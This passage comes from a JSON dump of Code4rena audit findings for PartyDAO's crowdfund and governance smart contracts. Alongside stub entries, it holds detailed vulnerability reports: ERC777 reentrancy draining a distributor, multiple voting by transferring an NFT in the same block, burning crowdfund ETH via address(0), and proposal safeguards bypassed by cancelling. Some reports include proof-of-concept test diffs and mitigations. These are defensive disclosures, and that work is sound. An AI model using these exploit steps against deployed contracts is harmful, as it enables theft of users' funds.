(AuctionCrowdfund.sol finalize() similar) ## Recommended Mitigation Steps add check ``` function _buy( IERC721 token, uint256 tokenId, address payable callTarget, uint96 callValue, bytes calldata callData, FixedGovernanceOpts memory governanceOpts ) ... settledPrice_ = callValue == 0 ? totalContributions : callValue; if (settledPrice_ == 0) { // Still zero, which means no contributions. revert NoContributionsError(); } +++ if (maximumPrice_ != 0 && settledPrice_ > maximumPrice_) { +++ settledPrice_ = maximumPrice_; +++ } settledPrice = settledPrice_; ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/200", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/199", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Attacker can create a AuctionCrowdfund and rug any contributions made by other users", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/198", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged", "old-submission-method"], "target": "2022-09-party-findings", "body": "Attacker can create a AuctionCrowdfund and rug any contributions made by other users"}, {"title": "NFT Owner can stuck Crowdfund user funds", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/197", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/crowdfund/AuctionCrowdfund.sol#L236 # Vulnerability details ## Impact Consider a scenario where few users contributed in auction but noone has placed any bid due to reason like NFT price crash etc. So there was 0 bid, nft owner could seize the crowdfund users fund until they pay a ransom amount as shown below. ## Proof of Concept 1. NFT N auction is going on 2. CrowdFund users have contributed 100 amount for this auction 3. Bidding has not been done yet 4. A news came for this NFT owner which leads to crashing of this NFT price 5. CrowdFund users are happy that they have not bided and are just waiting for auction to complete so that they can get there refund 6. NFT owner realizing this blackmails the CrowdFund users to send him amount 50 or else he would send this worthless NFT to the Crowdfund Auction contract basically stucking all crowdfund users fund. CrowdFund users ignore this and simply wait for auction to end 7. Once auction completes [finalize function](https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/crowdfund/AuctionCrowdfund.sol#L196) is called ``` function finalize(FixedGovernanceOpts memory governanceOpts) external onlyDelegateCall returns (Party party_) { ... if (nftContract.safeOwnerOf(nftTokenId) == address(this)) { if (lastBid_ == 0) { // The NFT was gifted to us. Everyone who contributed wins. lastBid_ = totalContributions; if (lastBid_ == 0) { // Nobody ever contributed. The NFT is effectively burned. revert NoContributionsError(); } lastBid = lastBid_; } // Create a governance party around the NFT. party_ = _createParty( _getPartyFactory(), governanceOpts, nftContract, nftTokenId ); emit Won(lastBid_, party_); } ... } ``` 8. Before calling finalize the lastBid was 0 since no one has bid on this auction but lets see what happens on calling finalize 9. Since NFT owner has transferred NFT to this contract so below statement holds true and lastBid_ is also 0 since no one has bided ``` if (lastBid_ == 0) { lastBid_ = totalContributions; ``` 10. This means now lastBid_ is changed to totalContributions which is 100 so crowdfund users funds will not be refunded and they will end up with non needed NFT. ## Recommended Mitigation Steps Remove the line lastBid_ = totalContributions; and let it be the last bid amount which crowdfund users actually bided with."}, {"title": "Attacker can DOS private party by donating ETH then calling buy", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/196", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/BuyCrowdfund.sol#L98-L116 # Vulnerability details ## Impact Party is DOS'd and may potentially lose access to NFT ## Proof of Concept [Crowdfund.sol#L280-L298](https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/Crowdfund.sol#L280-L298) party = party_ = partyFactory .createParty( address(this), Party.PartyOptions({ name: name, symbol: symbol, governance: PartyGovernance.GovernanceOpts({ hosts: governanceOpts.hosts, voteDuration: governanceOpts.voteDuration, executionDelay: governanceOpts.executionDelay, passThresholdBps: governanceOpts.passThresholdBps, totalVotingPower: _getFinalPrice().safeCastUint256ToUint96(), feeBps: governanceOpts.feeBps, feeRecipient: governanceOpts.feeRecipient }) }), preciousTokens, preciousTokenIds ); [BuyCrowdfundBase.sol#L166-L173](https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/BuyCrowdfundBase.sol#L166-L173) function _getFinalPrice() internal override view returns (uint256) { return settledPrice; } When BuyCrowdFund.sol successfully completes a buy, totalVotingPower is set to _getFinalPrice which in the case of BuyCrowdFundBase.sol returns the price at which the NFT was purchased. totalVotingPower is used by the governance contract to determine the number of votes needed for a proposal to pass. If there are not enough claimable votes to meet that threshold then the party is softlocked because it can't pass any proposals. An attacker could exploit this to DOS even a private party with the following steps: 1. Wait for party to be filled to just under quorum threshold 2. Donate ETH to the crowdfund contract 3. Call BuyCrowdFund.sol#buy. Since it is unpermissioned even for parties with a gatekeeper, the call won't revert Since the voting power for the final amount of ETH cannot be claimed, the party is now softlocked. If emergencyExecuteDisabled is true then the party will be permanantly locked and the NFT would effectively be burned. If emergencyExecuteDisabled is false then users would have to wait for PartyDAO to reclaim the NFT. ## Tools Used ## Recommended Mitigation Steps Permission to call BuyCrowdFund.sol#buy should be gated if there is a gatekeeper"}, {"title": "Majority could steal ETH from sale using ArbitraryCallsProposal.sol before anyone calls PartyGovernance.sol#distribute", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/191", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Majority could steal ETH from sale using ArbitraryCallsProposal.sol before anyone calls PartyGovernance.sol#distribute"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/190", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/187", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "old-submission-method"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Excess eth is not refunded", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/186", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/proposals/ArbitraryCallsProposal.sol#L72 # Vulnerability details ## Impact The ArbitraryCallsProposal contract requires sender to provide eth(msg.value) for each call. Now if user has provided more eth than combined call.value then this excess eth is not refunded back to user ## Proof of Concept 1. Observe the [_executeArbitraryCalls function](https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/proposals/ArbitraryCallsProposal.sol#L37) ``` function _executeArbitraryCalls( IProposalExecutionEngine.ExecuteProposalParams memory params ) internal returns (bytes memory nextProgressData) { ... uint256 ethAvailable = msg.value; for (uint256 i = 0; i < calls.length; ++i) { // Execute an arbitrary call. _executeSingleArbitraryCall( i, calls[i], params.preciousTokens, params.preciousTokenIds, isUnanimous, ethAvailable ); // Update the amount of ETH available for the subsequent calls. ethAvailable -= calls[i].value; emit ArbitraryCallExecuted(params.proposalId, i, calls.length); } .... } ``` 2. As we can see user provided msg.value is deducted with each calls[i].value 3. Assume user provided 5 amount as msg.value and made a single call with calls[0].value as 4 4. This means after calls have been completed ethAvailable will become 5-4=1 5. Ideally this 1 eth should be refunded back to user but there is no provision for same and the fund will remain in contract ## Recommended Mitigation Steps At the end of _executeArbitraryCalls function, refund the remaining ethAvailable back to the user"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/185", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Maximum bid will always be used in Auction", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/179", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/crowdfund/AuctionCrowdfund.sol#L149 # Vulnerability details ## Impact AuctionCrowdfund contract is designed in a way to allow bidding max upto maximumBid. But due to a flaw, anyone (including NFT seller) can make sure that CrowdFund bid always remain equal to maximumBid thus removing the purpose of maximumBid. This also causes loss to Party participating in this Auction as the auction will always end up with maximumBid even when it could have stopped with lower bid as shown in POC ## Proof of Concept 1. An auction is started for NFT N in the market 2. Party Users P1 starts an AuctionCrowdfund with maximumBid as 100 for this auction. ``` function initialize(AuctionCrowdfundOptions memory opts) external payable onlyConstructor { ... maximumBid = opts.maximumBid; ... } ``` 3. P1 bids amount 10 for the NFT N using [bid function](https://github.com/PartyDAO/party-contracts-c4/blob/main/contracts/crowdfund/AuctionCrowdfund.sol#L149) 4. Some bad news arrives for the NFT collection including NFT N reducing its price 5. P1 decides not to bid more than amount 10 due to this news 6. NFT collection owner who is watching this AuctionCrowdfund observes that bidding is only 10 but Party users have maximumBid of 100 7. NFT collection owner asks his friend to bid on this NFT in the auction market (different from crowd fund) 8. NFT collection owner now takes advantage of same and himself calls the bid function of AuctionCrowdfund via Proxy ``` function bid() external onlyDelegateCall { ... } ``` 9. Now since last bid belongs to collection owner friend, so AuctionCrowdfund contract simply extends its bid further ``` if (market.getCurrentHighestBidder(auctionId_) == address(this)) { revert AlreadyHighestBidderError(); } // Get the minimum necessary bid to be the highest bidder. uint96 bidAmount = market.getMinimumBid(auctionId_).safeCastUint256ToUint96(); // Make sure the bid is less than the maximum bid. if (bidAmount > maximumBid) { revert ExceedsMaximumBidError(bidAmount, maximumBid); } lastBid = bidAmount; ``` 10. NFT collection owner keeps repeating step 7-9 until AuctionCrowdfund reaches the final maximum bid of 100 11. After auction completes, collection owner gets 100 amount instead of 10 even though crowd fund users never bidded for amount 100 ## Recommended Mitigation Steps maximumbid concept can easily be bypassed as shown above and will not make sense. Either remove it completely OR bid function should only be callable via crowdfund members then attacker would be afraid if new bid will come or not and there should be a consensus between crowdfund members before bidding which will protect this scenario"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/178", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/177", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/176", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/174", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/170", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/169", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/168", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/165", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged", "edited-by-warden"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/158", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/157", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "ArbitraryCallsProposal.sol and ListOnOpenseaProposal.sol safeguards can be bypassed by cancelling in-progress proposal allowing the majority to steal NFT", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/153", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/proposals/ProposalExecutionEngine.sol#L183-L202 # Vulnerability details Note: PartyDAO acknowledges that \"canceling an InProgress proposal (mid-step) can leave the governance party in a vulnerable or undesirable state because there is no cleanup logic run during a cancel\" in the \"Known Issues / Topics\" section of the contest readme. I still believe that this vulnerability needs to be mitigated as it can directly lead to loss of user funds. ## Impact Majority vote can abuse cancel functionality to steal an NFT owned by the party ## Proof of Concept ArbitraryCallsProposal.sol implements the following safeguards for arbitrary proposals that are not unanimous: 1. Prevents the ownership of any NFT changing during the call. It does this by checking the the ownership of all NFTs before and after the call. 2. Prevents calls that would change the approval status of any NFT. This is done by disallowing the \"approve\" and \"setApprovalForAll\" function selectors. Additionally ListOnOpenseaProposal.sol implements the following safeguards: 1. NFTs are first listed for auction on Zora so that if they are listed for a very low price then the auction will keep them from being purchased at such a low price 2. At the end of the auction the approval is revoked when _cleanUpListing is called These safeguards are ultimately ineffective though. The majority could use the following steps to steal the NFT: 1. Create ListOnOpenseaProposal with high sell price and short cancel delay 2. Vote to approve proposal with majority vote 3. Execute first step of proposal, listing NFT on Zora auction for high price 4. Wait for Zora auction to end since the auction price is so high that no one will buy it 5. Execute next step, listing the NFT on Opensea. During this step the contract grants approval of the NFT to the Opensea contract 6. Wait for cancelDelay to expire 7. Call PartyGovernance.sol#cancel. This will immediately terminate the Opensea bypassing _cleanUpListing and keeping the approval to the Opensea contract 8. Create ArbitraryCallsProposal.sol that lists the NFT on Opensea for virtually nothing. Since only approval selectors have been blacklisted and the NFT does not change ownership, the proposal does not need to be unanimous to execute. 9. Approve proposal and execute 10. Buy NFT ## Tools Used Manual Review ## Recommended Mitigation Steps When a proposal is canceled, it should call a proposal specific function that makes sure everything is cleaned up. NFTs delisted, approvals revoked, etc."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/152", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/151", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "AuctionCrowdfund: If the contract was bid on before the NFT was gifted to the contract, lastBid will not be totalContributions", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/147", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/AuctionCrowdfund.sol#L233-L242 # Vulnerability details ## Impact In the finalize function of the AuctionCrowdfund contract, when the contract gets NFT and lastBid_ == 0, it is considered that NFT is gifted to the contract and everyone who contributed wins. ``` if (nftContract.safeOwnerOf(nftTokenId) == address(this)) { if (lastBid_ == 0) { // The NFT was gifted to us. Everyone who contributed wins. lastBid_ = totalContributions; ``` But if the contract was bid before the NFT was gifted to the contract, then since lastBid_ ! = 0, only the user who contributed at the beginning will win. ## Proof of Concept https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/AuctionCrowdfund.sol#L233-L242 https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/AuctionCrowdfund.sol#L149-L175 ## Tools Used None ## Recommended Mitigation Steps Whether or not NFT is free to get should be determined using whether the contract balance is greater than totalContributions"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/145", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/144", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Buying non-ERC721 NFTs is not supported", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-party-findings", "body": "Buying non-ERC721 NFTs is not supported"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/133", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/128", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor disputed", "edited-by-warden"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/125", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/124", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "TokenDistributor: ERC777 tokensToSend hook can be exploited to drain contract", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/120", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/distribution/TokenDistributor.sol#L131 https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/distribution/TokenDistributor.sol#L386 # Vulnerability details ## Impact `TokenDistributor.createERC20Distribution` can be used to create token distributions for ERC777 tokens (which are backwards-compatible with ERC20). However, this introduces a reentrancy vulnerability which allows a party to get the tokens of another party. The problem is the `tokensToSend` hook which is executed BEFORE balance updates happens (see https://eips.ethereum.org/EIPS/eip-777). When this hook is executed, `token.balanceOf(address(this))` therefore still returns the old value, but `_storedBalances[balanceID]` was already decreased. ## Proof Of Concept Party A and Party B have a balance of 1,000,000 tokens (of some arbitrary ERC777 token) in the distributor. Let's say for the sake of simplicity that both parties only have one user (user A in party A, user B in party B). User A (or rather his smart contract) performs the following attack: - He calls `claim`, which transfers 1,000,000 tokens to his contract address. In `_transfer`, `_storedBalances[balanceId]` is decreased by 1,000,000 and therefore now has a value of 1,000,000. - In the `tokensToSend` hook, he initiates another distribution for his party A by calling `PartyGovernance.distribute` which calls `TokenDistributor.createERC20Distribution` (we assume for the sake of simplicity that the party does not have more of these tokens, so the call transfers 0 tokens to the distributor). `TokenDistributor.createERC20Distribution` passes `token.balanceOf(address(this))` to `_createDistribution`. Note that this is still 2,000,000 because we are in the `tokensToSend` hook. - The supply of this distribution is calculated as `(args.currentTokenBalance - _storedBalances[balanceId]) = 2,000,000 - 1,000,000 = 1,000,000`. - When the `tokensToSend` hook is exited (and the first transfer has finished), he can retrieve the tokens of the second distribution (that was created in the hook) to steal the 1,000,000 tokens of party B. ## Recommended Mitigation Steps Do not allow reentrancy in these functions."}, {"title": "Possible that unanimous votes is unachievable", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/114", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Possible that unanimous votes is unachievable"}, {"title": "PartyGovernance: Can vote multiple times by transferring NFT in same block as proposal", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/113", "labels": ["bug", "3 (High Risk)", "high quality report", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/party/PartyGovernance.sol#L594 # Vulnerability details ## Impact `PartyGovernanceNFT` uses the voting power at the time of proposal when calling `accept`. The problem with that is that a user can vote, transfer the NFT (and the voting power) to a different wallet, and then vote from this second wallet again during the same block that the proposal was created. This can also be repeated multiple times to get an arbitrarily high voting power and pass every proposal unanimously. The consequences of this are very severe. Any user (no matter how small his voting power is) can propose and pass arbitrary proposals animously and therefore steal all assets (including the precious tokens) out of the party. ## Proof Of Concept This diff shows how a user with a voting power of 50/100 gets a voting power of 100/100 by transferring the NFT to a second wallet that he owns and voting from that one: ```diff --- a/sol-tests/party/PartyGovernanceUnit.t.sol +++ b/sol-tests/party/PartyGovernanceUnit.t.sol @@ -762,6 +762,7 @@ contract PartyGovernanceUnitTest is Test, TestUtils { TestablePartyGovernance gov = _createGovernance(100e18, preciousTokens, preciousTokenIds); address undelegatedVoter = _randomAddress(); + address recipient = _randomAddress(); // undelegatedVoter has 50/100 intrinsic VP (delegated to no one/self) gov.rawAdjustVotingPower(undelegatedVoter, 50e18, address(0)); @@ -772,38 +773,13 @@ contract PartyGovernanceUnitTest is Test, TestUtils { // Undelegated voter submits proposal. vm.prank(undelegatedVoter); assertEq(gov.propose(proposal, 0), proposalId); - - // Try to execute proposal (fail). - vm.expectRevert(abi.encodeWithSelector( - PartyGovernance.BadProposalStatusError.selector, - PartyGovernance.ProposalStatus.Voting - )); - vm.prank(undelegatedVoter); - gov.execute( - proposalId, - proposal, - preciousTokens, - preciousTokenIds, - \"\", - \"\" - ); - - // Skip past execution delay. - skip(defaultGovernanceOpts.executionDelay); - // Try again (fail). - vm.expectRevert(abi.encodeWithSelector( - PartyGovernance.BadProposalStatusError.selector, - PartyGovernance.ProposalStatus.Voting - )); - vm.prank(undelegatedVoter); - gov.execute( - proposalId, - proposal, - preciousTokens, - preciousTokenIds, - \"\", - \"\" - ); + (, PartyGovernance.ProposalStateValues memory valuesPrev) = gov.getProposalStateInfo(proposalId); + assertEq(valuesPrev.votes, 50e18); + gov.transferVotingPower(undelegatedVoter, recipient, 50e18); //Simulate NFT transfer + vm.prank(recipient); + gov.accept(proposalId, 0); + (, PartyGovernance.ProposalStateValues memory valuesAfter) = gov.getProposalStateInfo(proposalId); + assertEq(valuesAfter.votes, 100e18); } ``` ## Recommended Mitigation Steps You should query the voting power at `values.proposedTime - 1`. This value is already finalized when the proposal is created and therefore cannot be manipulated by repeatedly transferring the voting power to different wallets."}, {"title": "Possibility to burn all ETH in Crowdfund under some circumstances", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/105", "labels": ["bug", "3 (High Risk)", "high quality report", "resolved", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "# Lines of code https://github.com/PartyDAO/party-contracts-c4/blob/3896577b8f0fa16cba129dc2867aba786b730c1b/contracts/crowdfund/Crowdfund.sol#L147 # Vulnerability details ## Impact If `opts.initialContributor` is set to `address(0)` (and `opts.initialDelegate` is not), there are two problems: 1.) If the crowdfund succeeds, the initial balance will be lost. It is still accredited to `address(0)`, but it is not retrievable. 2.) If the crowdfund does not succeed, anyone can completely drain the contract by repeatedly calling `burn` with `address(0)`. This will always succeed because `CrowdfundNFT._burn` can be called multiple times for `address(0)`. Every call will cause the initial balance to be burned (transferred to `address(0)`). Issue 1 is somewhat problematic, but issue 2 is very problematic, because all funds of a crowdfund are burned and an attacker can specifically set up such a deployment (and the user would not notice anything special, after all these are parameters that the protocol accepts). ## Proof Of Concept This diff illustrates scenario 2, i.e. where a malicious deployer burns all contributions (1 ETH) of `contributor`. He loses 0.25ETH for the attack, but this could be reduced significantly (with more `burn(payable(address(0)))` calls: ```diff --- a/sol-tests/crowdfund/BuyCrowdfund.t.sol +++ b/sol-tests/crowdfund/BuyCrowdfund.t.sol @@ -36,9 +36,9 @@ contract BuyCrowdfundTest is Test, TestUtils { string defaultSymbol = 'PBID'; uint40 defaultDuration = 60 * 60; uint96 defaultMaxPrice = 10e18; - address payable defaultSplitRecipient = payable(0); + address payable defaultSplitRecipient = payable(address(this)); uint16 defaultSplitBps = 0.1e4; - address defaultInitialDelegate; + address defaultInitialDelegate = address(this); IGateKeeper defaultGateKeeper; bytes12 defaultGateKeeperId; Crowdfund.FixedGovernanceOpts defaultGovernanceOpts; @@ -78,7 +78,7 @@ contract BuyCrowdfundTest is Test, TestUtils { maximumPrice: defaultMaxPrice, splitRecipient: defaultSplitRecipient, splitBps: defaultSplitBps, - initialContributor: address(this), + initialContributor: address(0), initialDelegate: defaultInitialDelegate, gateKeeper: defaultGateKeeper, gateKeeperId: defaultGateKeeperId, @@ -111,40 +111,26 @@ contract BuyCrowdfundTest is Test, TestUtils { function testHappyPath() public { uint256 tokenId = erc721Vault.mint(); // Create a BuyCrowdfund instance. - BuyCrowdfund pb = _createCrowdfund(tokenId, 0); + BuyCrowdfund pb = _createCrowdfund(tokenId, 0.25e18); // Contribute and delegate. address payable contributor = _randomAddress(); address delegate = _randomAddress(); vm.deal(contributor, 1e18); vm.prank(contributor); pb.contribute{ value: contributor.balance }(delegate, \"\"); - // Buy the token. - vm.expectEmit(false, false, false, true); - emit MockPartyFactoryCreateParty( - address(pb), - address(pb), - _createExpectedPartyOptions(0.5e18), - _toERC721Array(erc721Vault.token()), - _toUint256Array(tokenId) - ); - Party party_ = pb.buy( - payable(address(erc721Vault)), - 0.5e18, - abi.encodeCall(erc721Vault.claim, (tokenId)), - defaultGovernanceOpts - ); - assertEq(address(party), address(party_)); - // Burn contributor's NFT, mock minting governance tokens and returning - // unused contribution. - vm.expectEmit(false, false, false, true); - emit MockMint( - address(pb), - contributor, - 0.5e18, - delegate - ); - pb.burn(contributor); - assertEq(contributor.balance, 0.5e18); + vm.warp(block.timestamp + defaultDuration + 1); + // The auction was not won, we can now burn all ETH from contributor... + assertEq(address(pb).balance, 1.25e18); + pb.burn(payable(address(0))); + assertEq(address(pb).balance, 1e18); + pb.burn(payable(address(0))); + assertEq(address(pb).balance, 0.75e18); + pb.burn(payable(address(0))); + assertEq(address(pb).balance, 0.5e18); + pb.burn(payable(address(0))); + assertEq(address(pb).balance, 0.25e18); + pb.burn(payable(address(0))); + assertEq(address(pb).balance, 0); ``` ## Recommended Mitigation Steps Do not allow an initial contribution when `opts.initialContributor` is not set."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/101", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "low quality report", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-party-findings/issues/94", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-09-party-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": 